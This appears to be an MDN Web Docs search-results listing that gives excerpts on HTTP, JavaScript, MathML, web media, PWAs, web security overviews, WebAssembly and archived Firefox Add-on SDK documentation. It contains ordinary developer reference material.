...e at which the message was originated. 58 ETag HTTP, Reference, Response, header The ETag HTTP response header is an identifier for a specific version of a resource. It allows caches to be more efficient, and saves bandwidth, as a web server does not need to send a full response if the content has not changed. On the other side, if the content has changed, etags are useful to help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). 59 Early-Data Client hints, HTTP, header, request The Early-Data header is set by an intermediate to indicates that the request has been conveyed in TLS early data, and additionally indicates that an intermediary understands the 425 (Too Early) status code. The Early-Data header is...
A typical HTTP session - HTTP
Web › HTTP › Session
MT Location: https://developer.mozilla.org/ (this is the new link to the resource; it is expected that the user-agent will fetch it) Keep-Alive: timeout=15, max=98 Accept-Ranges: bytes Via: Moz-Cache-zlb05 Connection: Keep-Alive Content-Length: 325 (the content contains a default page to display if the user-agent is not able to follow the link) <!DOCTYPE html... ...
...-store, must-revalidate, max-age=0 Content-Language: en-US Date: Thu, 06 Dec 2018 17:35:13 GMT Expires: Thu, 06 Dec 2018 17:35:13 GMT Server: meinheld/0.6.1 Strict-Transport-Security: max-age=63072000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Vary: Accept-Encoding,Cookie X-Cache: Error from cloudfront <!DOCTYPE html... (contains a site-customized page helping the user to find the missing resource) Response status codes HTTP response status codes indicate if a specific HTTP request has been successfully completed. Responses are grouped into five classes: informational responses, successful responses, redirects, client errors, and servers errors. 200: OK. The request has succeeded. 301: Moved Permanently. This response code means that the URI ...
HTTP
Web › HTTP
day very commonly load cross-site resources, including CSS stylesheets, images, scripts, and other resources. CORS allows web developers to control how their site reacts to cross-site requests. Evolution of HTTP A brief description of the changes between the early versions of HTTP, to the modern HTTP/2, the emergent HTTP/3 and beyond. Mozilla web security guidelines A collection of tips to help operational teams with creating secure web applications. HTTP Messages Describes the type and structure of the different kind of messages of HTTP/1.x and HTTP/2. A typical HTTP session Shows and explains the flow of a usual HTTP session. Connection management in HTTP/1.x Describes the three connection management models available in HTTP/1.x, their strengths, and their weaknesses. Ref...
...ive classes: informational responses, successful responses, redirections, client errors, and servers errors. CSP directives The Content-Security-Policy response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. Tools & resources Helpful tools and resources for understanding and debugging HTTP. Firefox Developer Tools Network monitor Mozilla Observatory A project designed to help developers, system administrators, and security professionals configure their sites safely and securely. RedBot Tools to check your cache-related headers How Browsers Work A very comprehensive article on browser internals and request flo...
JavaScript data types and data structures - JavaScript
pe, which provides to them a handful of convenient methods to manipulate arrays. For example, indexOf (searching a value in the array) or push (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets. Typed Arrays are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. ...
... data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures. See JSON and JSON for more details. More objects in the standard library JavaScript has a standard library of built-in objects. Please have a look at the reference to find out about more objects. Determining types using the typeof operator The typeof operator can help you to find the type of your variable. Please read the reference page for more details and edge cases. Specifications Specification ECMAScript (ECMA-262)The definition of 'ECMAScript Data Types and Values' in that specification. ...
Meta programming - JavaScript
<< PreviousNext >> Starting with ECMAScript 2015, JavaScript gains support for the Proxy and Reflect objects allowing you to intercept and define custom behavior for fundamental language operations (e.g. property lookup, assignment, enumeration, function invocation, etc). With the help of these two objects you are able to program at the meta level of JavaScript. Proxies Introduced in ECMAScript 6, Proxy objects allow you to intercept certain operations and to implement custom behaviors. For example, getting a property on an object: let handler = { get: function(target, name) { return name in target? target[name] : 42 } } let p = new Proxy({}, handler) p.a = 1 console.log(p.a, p.b) // 1, 42 The Proxy object defines a target (an empty object here) and a handler obj...
...og(proxy.foo) // TypeError is thrown proxy.foo = 1 // TypeError again delete proxy.foo // still TypeError typeof proxy // "object", typeof doesn't trigger any trap Reflection Reflect is a built-in object that provides methods for interceptable JavaScript operations. The methods are the same as those of the proxy handlers. Reflect is not a function object. Reflect helps with forwarding default operations from the handler to the target. With Reflect.has() for example, you get the in operator as a function: Reflect.has(Object, 'assign') // true A better apply function In ES5, you typically use the Function.prototype.apply() method to call a function with a given this value and arguments provided as an array (or an array-like object). Function.prototype.appl...
JavaScript modules - JavaScript
sus named exports The functionality we've exported so far has been comprised of named exports -- each item (be it a function, const, etc.) has been referred to by its name upon export, and that name has been used to refer to it on import as well. There is also a type of export called the default export -- this is designed to make it easy to have a default function provided by a module, and also helps JavaScript modules to interoperate with existing CommonJS and AMD module systems (as explained nicely in ES6 In Depth: Modules by Jason Orendorff; search for "Default exports"). Let's look at an example as we explain how it works. In our basic-modules square.js you can find a function called randomSquare() that creates a square with a random color, size, and position. We want to export this as ...
...s.ctx, myCanvas.listId, 50, 50, 100, 'blue'); square1.draw(); square1.reportArea(); square1.reportPerimeter(); }) }); Note that, because the promise fulfillment returns a module object, the class is then made a subfeature of the object, hence we now need to access the constructor with Module. prepended to it, e.g. Module.Square( ... ). Troubleshooting Here are a few tips that may help you if you are having trouble getting your modules to work. Feel free to add to the list if you discover more! We mentioned this before, but to reiterate: .js files need to be loaded with a MIME-type of text/javascript (or another JavaScript-compatible MIME-type, but text/javascript is recommended), otherwise you'll get a strict MIME type checking error like "The server responded with a non-Ja...
Using Promises - JavaScript
handledrejection Sent when a promise is rejected but there is no rejection handler available. In both cases, the event (of type PromiseRejectionEvent) has as members a promise property indicating the promise that was rejected, and a reason property that provides the reason given for the promise to be rejected. These make it possible to offer fallback error handling for promises, as well as to help debug issues with your promise management. These handlers are global per context, so all errors will go to the same event handlers, regardless of source. One case of special usefulness: when writing code for Node.js, it's common that modules you include in your project may have unhandled rejected promises. These get logged to the console by the Node runtime. You can capture these for analysis an...
...mon mistake with that syntax is forgetting the await keyword. When promises and tasks collide If you run into situations in which you have promises and tasks (such as events or callbacks) which are firing in unpredictable orders, it's possible you may benefit from using a microtask to check status or balance out your promises when promises are created conditionally. If you think microtasks may help solve this problem, see the microtask guide to learn more about how to use queueMicrotask() to enqueue a function as a microtask. ...
SyntaxError: missing } after function body - JavaScript
ng curly brackets or parenthesis are in the correct order. Message SyntaxError: Expected '}' (Edge) SyntaxError: missing } after function body (Firefox) Error type SyntaxError What went wrong? There is a syntax mistake when creating a function somewhere. Also check if any closing curly brackets or parenthesis are in the correct order. Indenting or formatting the code a bit nicer might also help you to see through the jungle. Examples Forgotten closing curly bracket Oftentimes, there is a missing curly bracket in your function code: var charge = function() { if (sunny) { useSolarCells(); } else { promptBikeRide(); }; Correct would be: var charge = function() { if (sunny) { useSolarCells(); } else { promptBikeRide(); } }; It can be more obscure when using...
... (function() { if (true) { return false; } }); ...
JavaScript error reference - JavaScript
For a beginner's introductory tutorial on fixing JavaScript errors, see What went wrong? Troubleshooting JavaScript. ...
... For a beginner's introductory tutorial on fixing JavaScript errors, see What went wrong? Troubleshooting JavaScript. List of errors In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). ...
Optional chaining (?.) - JavaScript
except that instead of causing an error if a reference is nullish (null or undefined), the expression short-circuits with a return value of undefined. When used with function calls, it returns undefined if the given function does not exist. This results in shorter and simpler expressions when accessing chained properties when the possibility exists that a reference may be missing. It can also be helpful while exploring the content of an object when there's no known guarantee as to which properties are required. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax obj?.prop obj?.[expr] arr?.[index] func?.(args) ...
...ression automatically short-circuits, returning undefined. This is equivalent to the following, except that the temporary variable is in fact not created: let temp = obj.first; let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second); Optional chaining with function calls You can use optional chaining when attempting to call a method which may not exist. This can be helpful, for example, when using an API in which a method might be unavailable, either due to the age of the implementation or because of a feature which isn't available on the user's device. Using optional chaining with function calls causes the expression to automatically return undefined instead of throwing an exception if the method isn't found: let result = someInterface.customMethod?.(); Not...
Authoring MathML - MathML
This page explains how to write mathematics using the MathML language. Just like HTML, MathML is described with tags and attributes. HTML becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, WYSIWYG editors and other Content Management Systems to help writing Web pages. Mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. As a consequence, good MathML authoring tools are more important and we describe some tools below. In particular, the Mozilla MathML team has been developing TeXZilla, a Javascript Unicode LaTeX-to-MathML converter that is intended to be used in many scenarios described here. Of co...
...!DOCTYPE html> <html> <head> <title>MathML in HTML5</title> </head> <body> <h1>MathML in HTML5</h1> <p> Square root of two: <math> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> Content MathML is not supported by browsers. It's recommended to convert your Content MathML markup into Presentation MathML before publishing it, for example with the help of the ctop.xsl stylesheet. Tools mentioned on this page generates Presentation MathML. Fallback for Browsers without MathML support Unfortunately, some browsers are not able to render MathML equations or only have a limited support. Hence you will need to use a MathML polyfill to provide some fallback rendering. If you need only basic mathematical constructions such as those used on this MDN ...
MathML
Mathematical Markup Language (MathML) is a dialect of XML for describing mathematical notation and capturing both its structure and content. Here you'll find links to documentation, examples, and tools to help you work with this powerful technology. For a quick overview, see the slides for the innovation fairs at Mozilla Summit 2013. MathML reference MathML element reference Details about each MathML element and compatibility information for desktop and mobile browsers. MathML attribute reference Information about MathML attributes that modify the appearance or behavior of elements. MathML examples MathML samples and examples to help you understand how it works. Authoring MathML Suggestions and tips for writing MathML, including suggested MathML editors and how to integrate thei...
...esktop and mobile browsers. MathML attribute reference Information about MathML attributes that modify the appearance or behavior of elements. MathML examples MathML samples and examples to help you understand how it works. Authoring MathML Suggestions and tips for writing MathML, including suggested MathML editors and how to integrate their output into Web content. View All... Getting help from the community View Mozilla forums... Mailing list Newsgroup RSS feed Matrix chat room Wiki used by Mozilla contributors W3C Math Home www-math w3.org mail archive Tools W3C Validator Mathzilla Firefox add-on collection TeXZilla -- Javascript LaTeX to MathML converter (live demo, Firefox OS webapp, Firefox add-on, using in a Web Page, JS program etc) LaTeXML - Conve...
Digital audio concepts - Web media technologies
Lossy compression algorithms generally use psychoacoustics to determine which components of an audio waveform can be lost or subdued in some way that can improve compression ratios while minimizing the audible effect for the target listeners. By manipulating the waveform to make it easier to compress, or by removing components of ...
.../or low end of the frequency band. That means that the codec can discard audio whose frequency is lower than about 20 Hz or higher than about 20,000 Hz (20 kHz). This narrows the audio bandwidth of the sound, thereby reducing the amoung of data required to represent the signal in its compressed form. The audio bandwidth can't be reduced nearly as much as for a speech-only codec, but it is still a helpful start. Some people can hear outside this range to some extent. More often, people's ability to hear higher frequencies is rather lower than this; in particular, it's worth noting that by middle age, the high end of that frequency range usually falls from 20 kHz down to around 12 kHz to 14 kHz. This suggests that the higher frequencies can often be discarded without overly affecting comprehens...
Web video codec guide - Web media technologies
pression you achieve, the more loss of detail and fidelity will occur. Some lossless codecs do exist, but they are typically used for archival and storage for local playback rather than for use on a network. This guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video. Common codecs The following video codecs are those which are most commonly used on the web. For each codec, the containers (file types) that can support them are also listed. Each codec provides a link to a section below which offers additional details about the codec, including specific capabilities and compatibility issues you may need to b...
...ending on the codec Bit rate Quality generally improves with higher bit rates Higher bit rates inherently lead to larger output files The options available when encoding video, and the values to be assigned to those options, will vary not only from one codec to another but depending on the encoding software you use. The documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video. Compression artifacts Artifacts are side effects of a lossy encoding process in which the lost or rearranged data results in visibly negative effects. Once an artifact has appeared, it may linger for a while, because of how video is displayed. Each frame of video is presented by applying a set of changes to the current...
Navigation and resource timings - Web Performance
art , connectEnd, secureConnectionStart, requestStart, responseStart, responseEnd, domLoading, domInteractive, domContentLoadedEventStart, domContentLoadedEventEnd, domComplete, loadEventStart, and loadEventEnd. With the metrics above, and a little bit of math, we can calculate many important metrics like time to first byte, page load time, dns lookup, and whether the connection is secure. To help measure the time it takes to complete all the steps, the Performance Timing API provides read only measurements of navigation timings. To view and capture our app's timing we enter: let time = window.performance.timing We can then use the results to measure how well our app is performing. The order is: Performance Timings Details navigationStart When the prompt ...
...nt of the current document is completed, you can measure the duration of the load event. load = timing.loadEventEnd - timing.loadEventEnd DOMContentLoaded event The DOMContentLoaded event duration is measured by subtracting the time value immediately before the user agent fires the DOMContentLoaded event from the time value immediately after the event completes. Keeping this at 50ms or faster helps ensure a responsive user interface. DOMContentLoaded = timing.domContentLoadedEventEnd - timing.domContentLoadedEventStart Duration We are provided with the duration. The duration is the difference between the PerformanceNavigationTiming.loadEventEnd and PerformanceEntry.startTime properties. The PerformanceNavigationTiming interface also provides information about what type of navigation yo...
Introduction to progressive web apps - Progressive web apps (PWAs)
tter results than either the web or the native app, with a 104% increase in conversion rates for new users. Given their profit increase, and the relatively low amount of work required for the conversion of these apps to PWAs, the advantage is clear. Early stage emerging startups like couponmoto have also started using progressive web apps to drive more consumer engagement, showing that they can help small as well as big companies to (re-)engage users more effectively. You can check the list at pwa.rocks for more examples. Particularly worth mentioning is the hnpwa.com page--this lists an example implementation of the Hacker News website (instead of the usual TodoMVC app), in which you can see the use of various front-end frameworks. You can even generate PWAs online using the PWABuilder w...
... is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices. Modern web apps can now do this too, using new technologies such as Service Workers for controlling pages, the Web Push API for sending updates straight from server to app via a service worker, and the Notifications API for generating system notifications to help engage users when they're not actively using their web browser. Responsiveness Responsive web apps use technologies like media queries and viewport to make sure that their UIs will fit any form factor: desktop, mobile, tablet, or whatever comes next. Safety The web platform provides a secure delivery mechanism that prevents snooping while simultaneously ensuring that content hasn't been t...
Structural overview of progressive web apps - Progressive web apps (PWAs)
native app, it is still a website -- you can click on the links within the page and send a URL to someone if you want to share it. Progressive: Start with the "good, old basic website" and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. For example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it. Responsive: Responsive web design also applies to progressive web apps, as both are mainly for mobile devices. There are so many varied devices with browsers -- it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, u...
...ces. There are so many varied devices with browsers -- it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, using technologies like the viewport meta tag, CSS media queries, Flexbox, and CSS Grid. Another approach: Streams An entirely different approach to server- or client-side rendering can be achieved with the Streams API. With a little help from service workers, streams can greatly improve the way we parse content. The app shell model requires all the resources to be available before the website can start rendering. It's different with HTML, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. To have the JavaScript actually work, however, it has to be downl...
Information Security Basics - Web security
With this information, you can be aware of the role and importance of security throughout the web development cycle and beyond into deployment of your content. ...
...With this information, you can be aware of the role and importance of security throughout the web development cycle and beyond into deployment of your content. ...
Securing your site - Web security
This article offers an assortment of suggestions, as well as links to other articles providing more useful information. Note: This article is a work in progress, and is neither complete nor does following its suggestions guarantee your site will be fully secure. User information security How to turn off form autocompletion Form fields support autocompletion in Gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site. For certain types of data, you may wish to disable this feature. ...
... it may only be accessed using HTTPS. HTTP access control The Cross-Origin Resource Sharing standard provides a way to specify what content may be loaded from other domains. You can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use. Content Security Policy An added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. Code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open Web Application Security Project, XSS was the seventh most c...
Web security
Ensuring that your website or open web application is secure is critical. Even simple bugs in your code can result in private information being leaked, and bad people are out there trying to find ways to steal data. The web security-oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft. Content security Content security policy (CSP) Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to the distribution of malware. Connection security Transport security layer (TLS) The Transport Layer Security (TLS) ...
...rivacy and security risks associated with the Referer HTTP header. This article describes them and offers advice on mitigating those risks. Robots.txt to be written Site maps to be written Integrity Same-origin policy The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors. Subresource integrity Subresource Integrity (SRI) is a security feature that enables browsers to verify that resources they fetch (for example, from a CDN) are delivered without unexpected manipulation. It works by allowing you to provide a cryptographic hash that a fetched resource must match. HTTP Access-Control-Allo...
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
...
... ...
Index - XSLT: Extensible Stylesheet Language Transformations
Web › XSLT › Index
ct and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented. This intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network. 14 An Overview NeedsHelp, NeedsMarkupWork, Transforming_XML_with_XSLT, XML, XSLT The eXtensible Stylesheet Language/Transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the description of Netscape's capabilities that follows. 15 For Further Reading NeedsContent, N...
...edsMarkupWork, Transforming_XML_with_XSLT, XML, XSLT The eXtensible Stylesheet Language/Transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the description of Netscape's capabilities that follows. ...
Web technology for developers
rtunities for developers. To take full advantage of these technologies, you need to know how to use them. Below you'll find links to our Web technology documentation. Documentation for Web developers Web Developer Reference A list of all references for Web technologies, including those for HTML, CSS, and so on. Web Developer Guide The Web Developer Guide provides useful how-to content to help you actually use Web technologies to do what you want or need to do. Tutorials for Web developers A list of tutorials to take you step-by-step through learning APIs, technologies, or broad topic areas. Developing Web applications Documentation for Web application developers; Web apps are true write-once, deploy anywhere apps for mobile, desktop, and Firefox OS. Code snippets This is a quick...
...e Sheets are used to describe the appearance of Web content. SVG Scalable Vector Graphics let you describe images as sets of vectors and shapes in order to allow them to scale smoothly regardless of the size at which they're drawn. MathML The Mathematical Markup Language makes it possible to display complex mathematical equations and syntax. Temporary The stuff below here is temporary to help keep track of things while organization work is ongoing. Pay it no mind. AccessibilityCSS HoudiniCSS: Cascading Style SheetsDemos of open web technologiesDeveloper guidesEXSLTEvent referenceHTML: Hypertext Markup LanguageHTTPJavaScriptMathMLOpenSearch description formatPrivacy, permissions, and information securityProgressive web apps (PWAs)SVG: Scalable Vector GraphicsTutorialsWeb APIsWeb Compo...
Caching compiled WebAssembly modules - WebAssembly
es, you will need to update dbVersion. Any subsequent call to instantiateCachedURL() will then clear out the entire cache, allowing you to avoid using out-of-date modules. The function starts off by defining some necessary constants: function instantiateCachedURL(dbVersion, url, importObject) { const dbName = 'wasm-cache'; const storeName = 'wasm-cache'; Setting up the database The first helper function contained inside instantiateCachedURL() -- openDatabase() -- creates an object store for storing wasm modules, and also handles clearing out the database if the dbVersion is updated; it returns a promise resolving to the new database. function openDatabase() { return new Promise((resolve, reject) => { var request = indexedDB.open(dbName, dbVersion); request.onerror =...
...a given wasm module in a given database. function storeInDatabase(db, module) { var store = db.transaction([storeName], 'readwrite').objectStore(storeName); var request = store.put(module, url); request.onerror = err => { console.log(`Failed to store in wasm cache: ${err}`) }; request.onsuccess = err => { console.log(`Successfully stored ${url} in wasm cache`) }; } Using our helper functions With all the Promise-based helper functions defined, we can now express the core logic of an IndexedDB cache lookup. We start by trying to open a database, then see if we already have a compiled Module with the key url stored in the given db: return openDatabase().then(db => { return lookupInDatabase(db).then(module => { If we do, we instantiate it with the given import objec...
Compiling from Rust to WebAssembly - WebAssembly
Install Rust by going to the Install Rust page and following the instructions. This installs a tool called "rustup", which lets you manage multiple versions of Rust. By default, it installs the latest stable Rust release, which you can use for general Rust development. Rustup installs rustc, the Rust compiler, as well as cargo, Rust's package manager, rust-std, Rust's standard libraries, and some helpful docs -- rust-docs. Note: Pay attention to the post-install note about needing cargo's bin directory in your system PATH. This is added automatically, but you must restart your terminal for it to take effect. wasm-pack To build the package, we need an additional tool, wasm-pack. This helps compile the code to WebAssembly, as well as produce the right packaging for npm. To download and inst...
... a shot: $ npm install $ npm run serve This starts a web server. Load http://localhost:8080 and an alert box appears on the screen, with Hello, WebAssembly! in it. We've successfully called from JavaScript into Rust, and from Rust into JavaScript. Conclusion This is the end of our tutorial; we hope you've found it useful. There's lots of exciting work going on in this space; if you'd like to help make it even better, check out the Rust Webassembly Working Group. ...
Classes and Inheritance - Archive of obsolete content
/ TypeError: ctx is not defined which is the behavior we were aiming for. Classes in the Add-on SDK We have shown how to emulate classical inheritance in JavaScript using constructors and prototypes. However, as we have seen, this takes a significant amount of boilerplate code. The Add-on SDK team consists of highly trained professionals, but they are also lazy: that is why the SDK contains a helper function that handles this boilerplate code for us. It is defined in the module "core/heritage": const { Class } = require('sdk/core/heritage'); The function Class is a meta-constructor: it creates constructors that behave properly with respect to inheritance. It takes a single argument, which is an object which properties will be defined on the prototype of the resulting constructor. The se...
Content Processes - Archive of obsolete content
API we use to send JSON messages between scripts in different processes is based on the use of event emitters. An event emitter maintains a list of callbacks (or listeners) for one or more named events. Each event emitter has several methods: the method on is used to add a listener for an event. Conversely, the method removeListener is used to remove a listener for an event. The method once is a helper function which adds a listener for an event, and automatically removes it the first time it is called. Each event emitter has two associated emit functions. One emit function is associated with the event emitter itself. When this function is called with a given event name, it calls all the listeners currently associated with that event. The other emit function is associated with another event ...
Private Properties - Archive of obsolete content
the Add-on SDK The Add-on SDK is built on top of XPCOM, the interface between JavaScript and C++ code. Since XPCOM allows the user to do virtually anything, security is very important. Among other things, add-ons should not be able to access variables that are supposed to be private. The SDK uses namespaces internally to ensure this. As always with code that is heavily reused, the SDK defines a helper function to create namespaces. It's defined in the module "core/namespace", and it's use is straightforward. To illustrate this, the following reimplements the class Point using namespaces: const { ns } = require("sdk/core/namespace"); var internal = ns(); function Point(x, y) { internal(this).x = x; internal(this).y = y; } Point.prototype.getX = function () { return internal(th...
context-menu - Archive of obsolete content
ontext("img"); myMenuItem.context.add(context); myMenuItem.context.remove(context); When a menu item is bound to more than one context, it appears in the menu when all of those contexts occur. In content scripts The declarative contexts are handy but not very powerful. For instance, you might want your menu item to appear for any page that has at least one image, but declarative contexts won't help you there. When you need more control over the context in which your menu items are shown, you can use content scripts. Like other APIs in the SDK, the context-menu API uses content scripts to let your add-on interact with pages in the browser. Each menu item you create in the top-level context menu can have a content script. A special event named "context" is emitted in your content scripts wh...
indexed-db - Archive of obsolete content
ract with a given website database. See bug 778197 and bug 786688. Example This example uses the action button API, which is only available from Firefox 29 onwards. Here's a complete add-on that adds two buttons to the browser: the button labeled "Add" adds the title of the current tab to a database, while the button labeled "List" lists all the titles in the database. The add-on implements helper functions open(), addItem() and getItems() to open the database, add a new item to the database, and get all items in the database. var { indexedDB, IDBKeyRange } = require('sdk/indexed-db'); var database = {}; database.onerror = function(e) { console.error(e.value) } function open(version) { var request = indexedDB.open("stuff", version); request.onupgradeneeded = function(e) { ...
panel - Archive of obsolete content
If the panel's content is packaged along with your add-on and specified using an HTML file in your data directory, you can style it by embedding CSS directly in the HTML file or by referencing a CSS file stored under data: <...
core/heritage - Archive of obsolete content
Doing inheritance in JavaScript is both verbose and painful. Reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // Defining a simple Class function Dog(name) { // Classes are for creating instances, calling them without `new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate. if (!(this instanceof Dog)) return new Dog(name); this.name = name; }; // To define methods you need to make a dance with a special 'prototype' // property of the constructor function. This is too much machinery exposed. ...
core/promise - Archive of obsolete content
Doing things concurrently So far we have being playing with promises that do things sequentially, but there are many cases where one would need to do things concurrently. In the following example we implement functions that take multiple promises and return one that resolves to first one being fulfilled: function race() { let { promise, resolve } = defer(); Array.slic...
frame/utils - Archive of obsolete content
Usage Module exports create function that takes the nsIDOMDocument of a privileged document and creates a browser element in its documentElement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,Foo'); let frame = create(window.document); Optionally create can be passed set of options to configure created frame even further. ...
lang/functional - Archive of obsolete content
Some of these functions implement APIs from Jeremy Ashkenas's underscore.js and all credits go to him and his contributors. Globals Functions method(lambda) Takes a function and returns a method associated with an object. When the method is invoked on an instance of the object, the original function is called. It is passed the object instance (i.e. this) as the first parameter, followed by any parameters passed into the method. ...
places/bookmarks - Archive of obsolete content
orm. Invoked with two arguments, mine and platform, where mine is the item that is being saved, and platform is the current state of the item on the item. The object returned from this function is what is saved on the platform. By default, all changes on an outdated bookmark item overwrite the platform's bookmark item. Returns PlacesEmitter : Returns a PlacesEmitter. remove(items) A helper function that takes in a bookmark item, or an Array of several bookmark items, and sets each item's remove property to true. This does not remove the bookmark item from the database: it must be subsequently saved. let { search, save, remove } = require("sdk/places/bookmarks"); search({ tags: ["php"] }).on("end", function (results) { // The search returns us all bookmark items that are // ...
places/favicon - Archive of obsolete content
Globals Functions getFavicon(object, callback) Takes an object that represents a page's URL and returns a promise that resolves with the favicon URL for that page. The object can be a URL String or a Tab. The platform service (mozIAsyncFavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon URLs for visited sites. ...
remote/parent - Archive of obsolete content
se, can access web content. But content scripts don't have many more capabilities than untrusted web content. The sdk/remote/parent module enables you to load SDK modules into the child process to give them direct access to content frames. These SDK modules have higher privileges than content scripts, and have their own module loader so they can load other SDK modules. Its primary purpose is to help build APIs. If you just need to access a web page, use sdk/page-mod to load a content script instead. Terms Process Every application has at least one process running, the main process that displays the UI. Multiprocess applications can have other remote processes where untrusted content like webpages are loaded. Each process can contain many frames. Frame Every DOM page loaded as a part o...
stylesheet/utils - Archive of obsolete content
Globals Functions loadSheet(window, uri, type) Synchronously loads a style sheet from uri and adds it to the list of additional style sheets of the document. The sheets added takes effect immediately, and only on the document of the window given. Parameters window : nsIDOMWindow uri : string, nsIURI} type : string The type of the sheet. It accepts the following values: "agent", "user" and "author". If not provided, the default value is "author". removeSheet(window, uri, type) Remove the document style sheet at sheetURI from the list of additional style sheets of the document. The removal takes effect immediately. ...
test/utils - Archive of obsolete content
They're useful when you need to guarantee a particular state before running a test, and to clean up after your test. let { before, after } = require('sdk/test/utils'); let { search } = require('sdk/places/bookmarks'); exports.testCountBookmarks = function (assert, done) { search().on('end', function (results) { assert.equal(results, 0, 'should be no bookmarks'); done(); }); }; before(exports, function (name, assert) { removeAllBookmarks(); }); require('sdk/test').run(exports); Both before and after may be asynchronous. ...
util/array - Archive of obsolete content
Globals Functions has(array, element) Returns true if the given Array contains the element or false otherwise. A simplified version of array.indexOf(element) >= 0. let { has } = require('sdk/util/array'); let a = ['rock', 'roll', 100]; has(a, 'rock'); // true has(a, 'rush'); // false has(a, 100); // true Parameters array : array The array to search. element : * The element to search for in the array. Returns boolean : A boolean indicating whether or not the element was found in the array. hasAny(array, elements) Returns true if the given Array contains any of the elements in the elements array, or false otherwise. ...
cfx - Archive of obsolete content
or information on how to migrate from cfx to jpm see this guide. Enables you to test, run, and package add-ons. cfx is is no longer supported as of Firefox 44 and no longer accepted for add-on submission, jpm should now be used instead. cfx usage is: cfx [options] command [command-specific options] "Options" are global options applicable to the tool itself or to all commands (for example --help). cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "Command-specific options" are documented alongside the commands. There are four supported cfx commands: cfx init Create a skeleton add-on as a starting point for your own add-on. cfx run Launch an instance of Firefox with your ad...
Storing annotations - Archive of obsolete content
A real add-on should give the user a chance to choose which data to keep, and prevent the user from adding any more data until the add-on is back under quota.) Respecting Private Browsing Since annotations record the user's browsing history we should avoid recording annotations in private windows. There's a very simple way to do this: do nothing. By omitting th...
Troubleshooting - Archive of obsolete content
Check Your Firefox jpm searches well known locations on your system for Firefox. jpm may not have found an installation, or if you have multiple installations, jpm may have found the wrong one. In those cases you need to use jpm's --binary option. See the jpm guide for more information. When you run jpm to test your add-on or run unit tests, it prints out the location of the Firefox or XULRunner binary that it found, so you can check its output to be sure. ...
Unit Testing - Archive of obsolete content
To demonstrate how it works we'll write some unit tests for a simple Base64 encoding module. ...
Localization - Archive of obsolete content
ild your own monster" } Using localized strings in preferences By including a "preferences" structure in your add-on's "package.json" file, you can define preferences for your add-on that the user can see and edit using Firefox's Add-ons Manager. Preferences have mandatory title and optional description fields. These are strings which appear alongside the preference in the Add-ons Manager, to help explain to the user what the preference means. To provide the localized form of the preference title, include an entry in your "properties" file whose identifier is the preference name followed by _title, and whose value is the localized title. To provide the localized form of the preference description, include an entry in your "properties" file whose identifier is the preference nam...
Tutorials - Archive of obsolete content
Getting started Walkthrough of creating a simple add-on with the SDK, using jpm. Create user interfaces Add a toolbar button Attach a button to the Firefox Add-on toolbar. ...
Bootstrapped extensions - Archive of obsolete content
d window in a bootstrapped extension. Mark Finkle provides some simple example code for restartless add-ons in mobile Firefox, adding resources (like the options window) to bootstrapped extensions and using default preferences without a default/preferences/prefs.js file. Kris Maglione writes about the requirements for the cleanup procedures in bootstrapped extensions. Edward Lee shows off some helpful coding patterns and examples you can use in your bootstrapped add-on. Documentation for Inline Options in Firefox 7 and later. ...
Dialogs and Prompts - Archive of obsolete content
